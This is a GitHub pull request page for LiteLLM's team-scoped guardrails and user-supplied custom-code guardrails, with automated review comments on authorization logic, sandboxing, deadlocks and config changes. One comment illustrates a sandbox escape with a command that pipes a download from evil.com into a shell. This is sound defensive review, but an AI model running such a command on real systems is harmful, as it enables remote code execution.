feat(guardrails): implement team-based isolation guardrails mgmnt (#1… - #20318
Conversation
…9889) * feat(guardrails): implement team-based isolation guardrails mgmnt * fix lint errors * add allow_team_guardrail_config for admin permissions
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
Co-authored-by: Krish Dholakia <krrishdholakia@gmail.com>
Greptile SummaryThis PR introduces several significant features: a custom code guardrail that executes user-supplied Python code in a sandboxed environment, a team-based guardrail management system, a new Key issues found:
Confidence Score: 2/5
|
| Filename | Overview |
|---|---|
| litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py | New custom code guardrail; contains a deadlock in update_custom_code (non-reentrant lock) and no execution timeout in the production async path. |
| litellm/proxy/guardrails/guardrail_hooks/custom_code/primitives.py | New sandbox primitives file providing safe, limited operations (regex, JSON, URL, text) to custom guardrail code; implementation looks correct. |
| litellm/proxy/guardrails/guardrail_endpoints.py | New /guardrails/test_custom_code endpoint; has sandbox controls (FORBIDDEN_PATTERNS, __builtins__={}, timeout) but lacks role authorization (any API key holder can run code). |
| litellm/main.py | Adds proxy_auth header injection (good) and GitHub Copilot per-request Authenticator() instantiation (bad — creates new object in critical path and duplicates work already done in transformation layer). |
| litellm/proxy_auth/credentials.py | New OAuth2 credential providers; GenericOAuth2Credential uses synchronous httpx.post which can block the event loop when called from async contexts. |
| litellm/types/guardrails.py | Adds CUSTOM_CODE guardrail type and custom_code field; backwards-incompatibly removes presidio_filter_scope from PresidioConfigModel. |
| litellm/proxy/guardrails/guardrail_hooks/custom_code/init.py | Clean initializer/registry for CUSTOM_CODE guardrail; no issues found. |
| litellm/integrations/prometheus.py | Adds _extract_deployment_failure_label_values with layered fallback for missing Prometheus labels; logic is correct. |
| litellm/llms/github_copilot/chat/transformation.py | Fixes system-to-assistant message conversion and adds Copilot default headers inside validate_environment; logic appears correct. |
Sequence Diagram
sequenceDiagram
participant Client
participant LiteLLMProxy
participant GuardrailEndpoint
participant CustomCodeGuardrail
participant Primitives
Client->>LiteLLMProxy: POST /completions (with guardrail)
LiteLLMProxy->>CustomCodeGuardrail: apply_guardrail(inputs, request_data, input_type)
CustomCodeGuardrail->>Primitives: exec user code with sandboxed primitives
Primitives-->>CustomCodeGuardrail: allow() / block(reason) / modify(texts)
alt allow
CustomCodeGuardrail-->>LiteLLMProxy: return inputs unchanged
else block
CustomCodeGuardrail-->>LiteLLMProxy: raise HTTPException(400)
else modify
CustomCodeGuardrail-->>LiteLLMProxy: return modified inputs
end
LiteLLMProxy-->>Client: Response / Error
Client->>GuardrailEndpoint: POST /guardrails/test_custom_code
GuardrailEndpoint->>GuardrailEndpoint: FORBIDDEN_PATTERNS check
GuardrailEndpoint->>GuardrailEndpoint: exec with __builtins__={} + timeout
GuardrailEndpoint-->>Client: TestCustomCodeGuardrailResponse
Last reviewed commit: 54b5c7d
| if getattr( | ||
| user_api_key_dict, "user_role", None | ||
| ) != LitellmUserRoles.PROXY_ADMIN or ( | ||
| team_id is not None and team_id != "litellm-dashboard" | ||
| ): |
There was a problem hiding this comment.
authorization logic uses OR instead of AND - proxy admin with a team_id can bypass team ownership checks
The condition != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard") evaluates to true when:
- user is NOT proxy admin, OR
- user has a team_id that isn't "litellm-dashboard"
This means a proxy admin with team_id="team-123" would enter the ownership check block, when they should be exempt.
| if getattr( | |
| user_api_key_dict, "user_role", None | |
| ) != LitellmUserRoles.PROXY_ADMIN or ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): | |
| if getattr( | |
| user_api_key_dict, "user_role", None | |
| ) != LitellmUserRoles.PROXY_ADMIN and ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): |
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 395:399
Comment:
authorization logic uses OR instead of AND - proxy admin with a team_id can bypass team ownership checks
The condition `!= LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard")` evaluates to true when:
- user is NOT proxy admin, OR
- user has a team_id that isn't "litellm-dashboard"
This means a proxy admin with `team_id="team-123"` would enter the ownership check block, when they should be exempt.
```suggestion
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
```
How can I resolve this? If you propose a fix, please make it concise.| status_code=404, detail=f"Guardrail with ID {guardrail_id} not found" | ||
| ) | ||
|
|
||
| if existing_guardrail.get("team_id"): | ||
| team_id = getattr(user_api_key_dict, "team_id", None) |
There was a problem hiding this comment.
same OR/AND logic error as in update_guardrail - proxy admin with team_id bypasses authorization incorrectly
| status_code=404, detail=f"Guardrail with ID {guardrail_id} not found" | |
| ) | |
| if existing_guardrail.get("team_id"): | |
| team_id = getattr(user_api_key_dict, "team_id", None) | |
| if getattr( | |
| user_api_key_dict, "user_role", None | |
| ) != LitellmUserRoles.PROXY_ADMIN and ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): |
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 479:483
Comment:
same OR/AND logic error as in `update_guardrail` - proxy admin with team_id bypasses authorization incorrectly
```suggestion
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
```
How can I resolve this? If you propose a fix, please make it concise.| if getattr( | ||
| user_api_key_dict, "user_role", None | ||
| ) != LitellmUserRoles.PROXY_ADMIN or ( | ||
| team_id is not None and team_id != "litellm-dashboard" | ||
| ): |
There was a problem hiding this comment.
same OR/AND logic error as in other endpoints - proxy admin authorization bypass is incorrect
| if getattr( | |
| user_api_key_dict, "user_role", None | |
| ) != LitellmUserRoles.PROXY_ADMIN or ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): | |
| if getattr( | |
| user_api_key_dict, "user_role", None | |
| ) != LitellmUserRoles.PROXY_ADMIN and ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): |
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 600:604
Comment:
same OR/AND logic error as in other endpoints - proxy admin authorization bypass is incorrect
```suggestion
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
```
How can I resolve this? If you propose a fix, please make it concise.| filter_team_id = team_id | ||
|
|
||
| guardrails = await GUARDRAIL_REGISTRY.get_all_guardrails_from_db( | ||
| prisma_client=prisma_client | ||
| prisma_client=prisma_client, team_id=filter_team_id |
There was a problem hiding this comment.
filtering condition has inverted logic - should use OR instead of AND
When user_role != PROXY_ADMIN, you want to filter by team. But the current condition:
if user_role != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard"):This means filtering happens when user is NOT admin OR has a team - so even proxy admins get filtered if they have a team_id.
Should be:
| filter_team_id = team_id | |
| guardrails = await GUARDRAIL_REGISTRY.get_all_guardrails_from_db( | |
| prisma_client=prisma_client | |
| prisma_client=prisma_client, team_id=filter_team_id | |
| if user_role != LitellmUserRoles.PROXY_ADMIN and ( | |
| team_id is not None and team_id != "litellm-dashboard" | |
| ): |
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 167:170
Comment:
filtering condition has inverted logic - should use OR instead of AND
When `user_role != PROXY_ADMIN`, you want to filter by team. But the current condition:
```python
if user_role != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard"):
```
This means filtering happens when user is NOT admin OR has a team - so even proxy admins get filtered if they have a team_id.
Should be:
```suggestion
if user_role != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
```
How can I resolve this? If you propose a fix, please make it concise.Adds litellm.proxy_auth to automatically obtain and refresh OAuth2/JWT tokens when connecting to LiteLLM Proxy or any OAuth2-protected endpoint. - Add ProxyAuthHandler for token lifecycle (obtain, cache, refresh) - Add AzureADCredential wrapper for azure-identity credentials - Add GenericOAuth2Credential for any OAuth2 provider (Okta, Auth0, etc) - Auto-inject Authorization headers in completion() and embedding() Closes #19834
67 vercel_ai_gateway models were missing capability flags (supports_vision, supports_function_calling, supports_tool_choice, supports_response_schema). These capabilities were inferred from the corresponding direct provider entries for the same models (e.g., vercel_ai_gateway/anthropic/claude-3.5-sonnet now has the same capabilities as anthropic/claude-3.5-sonnet). Models fixed include: - Claude 3/3.5/3.7 (Anthropic) - GPT-4/5 variants (OpenAI) - Gemini 2.0/2.5 (Google) - Grok 3/4 (xAI) - Mistral/Mixtral variants - Qwen models - DeepSeek models - And more This ensures consistent capability reporting across providers for the same underlying models. Co-authored-by: krauckbot <krauckbot123@gmail.com>
update 02 staging PR
* fix: check for model_response_choices before guardrail input * test: add tests for responses api translation * fix: protect other guardrail translations * refactor: remove type ignores * anthropic request body got mutated fix * add warning when extra_body is provided but user is non premium * fix: resolve mypy union-attr errors in anthropic guardrail handler Cast choices[0] to Choices type before accessing .message attribute to satisfy mypy's union type checking for Choices | StreamingChoices. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com> * add logger when model response has no choices for streaming /response and /messages * update pyproject.toml as requested * Revert "update pyproject.toml as requested" This reverts commit 541a2b0. * update pyproject.toml as requested * Revert "update pyproject.toml as requested" This reverts commit 716ea0c. --------- Co-authored-by: Xiaohan Fu <xiaohan@grayswan.ai> Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
…19837) * fix fail-open for grayswan; pass metadata to cygnal api endpoint; update docs * pass litellm_metadata to cygnal in payload * switch error msg to const, and clean exception handling. * update pyproject.toml as requested * Revert "update pyproject.toml as requested" This reverts commit 4eece15.
fix(proxy): forward extra headers in chat
* feat(guardrails/): allow custom code execution for guardrails first step in allowing teams to submit custom code for guardrails * feat: custom_code_guardrail.md support passing custom code for guardrails * feat: initial commit adding ui for custom code guardrails allows users to write guardrails based on custom code * feat: expose new test custom code guardrail endpoint allows ui testing playground to sanity check if guardrail is working as expected * fix: fix linting errors * fix: fix max recursion check * fix: fix linting error
…, name (…" This reverts commit ec279eb.
…_cases Revert "fix: proxy failure cases, now log ip and user agent, key hash, name"
|
@greptile re-review this |
| try: | ||
| # Create a restricted execution environment | ||
| # Only include our safe primitives | ||
| exec_globals = get_custom_code_primitives().copy() | ||
|
|
||
| # Execute the user code in the restricted environment | ||
| exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals) |
There was a problem hiding this comment.
Critical: Production sandbox is missing security restrictions that the test endpoint has
The production _compile_custom_code() method lacks two critical security controls present in the test endpoint (/guardrails/test_custom_code):
-
Missing
__builtins__restriction: When Python'sexec()receives a globals dict without a__builtins__key, it automatically injects the full builtins module from the calling scope. This means production guardrail code has unrestricted access toopen,__import__,exec, etc. -
Missing FORBIDDEN_PATTERNS validation: The test endpoint validates code against patterns like
import,open(),__globals__, etc. The production path has no such validation.
This allows malicious or misconfigured guardrail code to escape the sandbox:
# This would execute without safeguards in production:
def apply_guardrail(inputs, request_data, input_type):
import os
os.system("curl evil.com | sh")
return allow()Apply both safeguards used in the test endpoint (lines 1358-1412):
exec_globals = get_custom_code_primitives().copy()
exec_globals["__builtins__"] = {} # Restrict builtins
# Also validate against FORBIDDEN_PATTERNS (extract to shared constant)
for pattern, error_msg in FORBIDDEN_PATTERNS:
if re.search(pattern, self.custom_code):
raise CustomCodeCompilationError(f"Security violation: {error_msg}")
exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)| @router.post( | ||
| "/guardrails/test_custom_code", | ||
| tags=["Guardrails"], | ||
| dependencies=[Depends(user_api_key_auth)], | ||
| response_model=TestCustomCodeGuardrailResponse, | ||
| ) | ||
| async def test_custom_code_guardrail(request: TestCustomCodeGuardrailRequest): |
There was a problem hiding this comment.
Missing admin-only authorization on code execution endpoint
The /guardrails/test_custom_code endpoint executes user-supplied Python code (even if sandboxed) but only requires user_api_key_auth in dependencies. The docstring claims "This endpoint allows admins to experiment" but enforces no role check, allowing any valid API key holder to invoke code execution.
This should require proxy admin role verification before executing user code, similar to other sensitive administrative endpoints. Add a check that validates user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN and returns 403 Forbidden for non-admins.
|
@greptile give the score again |
| with self._compile_lock: | ||
| # Reset state | ||
| old_function = self._compiled_function | ||
| old_code = self.custom_code | ||
| self._compiled_function = None | ||
| self._compile_error = None | ||
|
|
||
| try: | ||
| self.custom_code = new_code | ||
| self._compile_custom_code() |
There was a problem hiding this comment.
Deadlock when calling update_custom_code
update_custom_code acquires self._compile_lock at line 355 and then calls self._compile_custom_code() at line 364. Since _compile_custom_code also tries to acquire the same threading.Lock at line 126, this will deadlock permanently — Python's threading.Lock is not reentrant.
Any call to update_custom_code will hang forever. Either use threading.RLock instead, or extract the shared compilation logic into a private helper that does not acquire the lock, so both callers can invoke it:
def _compile_custom_code(self) -> None:
with self._compile_lock:
self._do_compile()
def update_custom_code(self, new_code: str) -> None:
with self._compile_lock:
old_function = self._compiled_function
old_code = self.custom_code
self._compiled_function = None
self._compile_error = None
try:
self.custom_code = new_code
self._do_compile() # <- call shared helper, no lock re-acquisition
...
except CustomCodeCompilationError:
self.custom_code = old_code
self._compiled_function = old_function
raise
def _do_compile(self) -> None:
# compilation logic without any lock
...| if custom_llm_provider == "github_copilot": | ||
| from litellm.llms.github_copilot.common_utils import ( | ||
| get_copilot_default_headers, | ||
| ) | ||
| from litellm.llms.github_copilot.authenticator import Authenticator | ||
|
|
||
| copilot_auth = Authenticator() | ||
| copilot_api_key = copilot_auth.get_api_key() | ||
| copilot_headers = get_copilot_default_headers(copilot_api_key) | ||
| if extra_headers: | ||
| copilot_headers.update(extra_headers) |
There was a problem hiding this comment.
New Authenticator() object created per request — critical path regression
A brand-new Authenticator() is instantiated on every single GitHub Copilot request in the critical path. Depending on how Authenticator works (e.g. reading credentials, making network calls), this can introduce significant latency and resource overhead on high-traffic deployments.
Additionally, the same work is already done inside GithubCopilotConfig.validate_environment (in litellm/llms/github_copilot/chat/transformation.py, which was also modified in this PR): it calls self.authenticator.get_api_key() and merges get_copilot_default_headers() into validated_headers. This duplicates the header injection and risks header conflicts.
Provider-specific logic of this kind belongs inside litellm/llms/github_copilot/ — not in litellm/main.py. Please remove this block and rely on the headers already set by validate_environment.
|
|
||
| # Prepare request_data with safe subset of information | ||
| safe_request_data = self._prepare_safe_request_data(request_data) | ||
|
|
||
| # Execute the custom function | ||
| result = self._compiled_function(inputs, safe_request_data, input_type) | ||
|
|
||
| # Process the result |
There was a problem hiding this comment.
Production guardrail execution has no timeout protection
The test endpoint (/guardrails/test_custom_code) wraps execution in a concurrent.futures.ThreadPoolExecutor with a 5-second timeout. However, the production apply_guardrail path calls self._compiled_function(...) directly and synchronously inside an async method — meaning a slow or infinite-loop user function will block the asyncio event loop indefinitely.
Consider wrapping the call with asyncio.wait_for (or running it in a thread via asyncio.get_event_loop().run_in_executor) with a configurable timeout, consistent with the test endpoint's approach.
| pii_entities_config: Optional[Dict[Union[PiiEntityType, str], PiiAction]] = Field( | ||
| default=None, description="Configuration for PII entity types and actions" | ||
| ) | ||
| presidio_filter_scope: Literal["input", "output", "both"] = Field( | ||
| default="both", | ||
| description=( | ||
| "Where to apply Presidio checks: 'input' runs on user → model traffic, " | ||
| "'output' runs on model → user traffic, and 'both' applies to both." | ||
| ), | ||
| ) | ||
|
|
||
| presidio_score_thresholds: Optional[Dict[Union[PiiEntityType, str], float]] = Field( | ||
| default=None, | ||
| description=( |
There was a problem hiding this comment.
Backwards-incompatible removal of presidio_filter_scope
The presidio_filter_scope field is silently removed from PresidioConfigModel. Users who set presidio_filter_scope: "input" or presidio_filter_scope: "output" in their YAML/config to limit Presidio to only pre- or post-call traffic will silently lose that behaviour after upgrading — their setting will be ignored and the guardrail will apply to both directions (the hardcoded fallback in guardrail_initializers.py line 79: getattr(litellm_params, "presidio_filter_scope", None) or "both").
Per the backwards-compatibility policy, a breaking config change should use a deprecation path or a feature flag rather than a hard removal. Consider keeping the field (even as deprecated) so existing configs continue to work.
| import httpx | ||
|
|
||
| response = httpx.post( | ||
| self.token_url, | ||
| data={ | ||
| "grant_type": "client_credentials", | ||
| "client_id": self.client_id, | ||
| "client_secret": self.client_secret, | ||
| "scope": scope, | ||
| }, | ||
| ) | ||
| response.raise_for_status() | ||
| data = response.json() | ||
|
|
||
| self._cached_token = AccessToken( | ||
| token=data["access_token"], |
There was a problem hiding this comment.
Synchronous httpx.post call may block the asyncio event loop
GenericOAuth2Credential.get_token uses the blocking httpx.post() synchronous client to fetch tokens. ProxyAuthHandler.get_auth_headers() is called from within the synchronous completion() function in main.py, which is fine there. However, litellm.acompletion and other async entry points ultimately share this same code path, meaning a token refresh will block the event loop until the HTTP request to the token endpoint completes.
Consider using httpx.AsyncClient inside an async variant of get_token, or offloading the synchronous call to a thread pool (asyncio.to_thread) when called from an async context.
…03_2026 feat(guardrails): implement team-based isolation guardrails mgmnt (#1…
…9889)
feat(guardrails): implement team-based isolation guardrails mgmnt
fix lint errors
add allow_team_guardrail_config for admin permissions
Relevant issues
Pre-Submission checklist
Please complete all items before asking a LiteLLM maintainer to review your PR
tests/litellm/directory, Adding at least 1 test is a hard requirement - see detailsmake test-unitCI (LiteLLM team)
Branch creation CI run
Link:
CI run for the last commit
Link:
Merge / cherry-pick CI run
Links:
Type
🆕 New Feature
🐛 Bug Fix
🧹 Refactoring
📖 Documentation
🚄 Infrastructure
✅ Test
Changes